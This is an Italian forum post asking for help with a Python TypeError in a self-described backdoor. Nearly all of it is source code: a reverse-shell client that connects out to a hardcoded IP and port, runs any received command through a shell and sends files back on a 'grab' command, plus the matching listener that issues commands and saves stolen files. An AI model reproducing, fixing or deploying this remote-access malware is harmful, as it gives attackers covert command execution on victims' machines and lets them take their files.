ho un problema con questa backdoor, nel file "client_tcp_reverse_shell" mi esce l'errore TypeError: a bytes-like object is required, not 'str'
a riga 34, potete aiutarmi?
import socket
a riga 34, potete aiutarmi?
Messaggio unito automaticamente:
Python:
from os import path
import socket
import subprocess
import os
def transfer(s,path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else:
s.send('Unable to find out the file')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.249', 1237)) #andrà messo l'ip della macchina
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
elif 'grab' in command:
grab,path = command.split('*')
try:
transfer(s,path)
except Exception:
s.send(str(" "))
pass
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() )
s.send( CMD.stderr.read() )
def main():
connect()
main()
Messaggio unito automaticamente:
import socket
Python:
import socket
import subprocess
import os
def transfer(conn, command):
conn.send(command)
f = open('/home/kobra3390/Scrivania/backdoor.png', 'wb')
while True:
bits = conn.recv(1024)
if 'Unable to find out the file' in bits:
print('[-] Nessun file trovato')
break
if bits.endswith('DONE'):
print('Download Completed')
f.close()
break
f.write(bits)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.1.249', 1237))
s.listen(1)
print('[+] Listening for incoming TCP connection on port 1237')
conn, addr = s.accept()
print("Connecting to: ", addr)
while True:
command = input("Shell> ")
if 'terminate' in command:
conn.send('terminate')
conn.close()
break
elif 'grab' in command:
transfer(conn, command)
else:
conn.send(command)
print (conn.recv(1024))
def main():
connect()
main()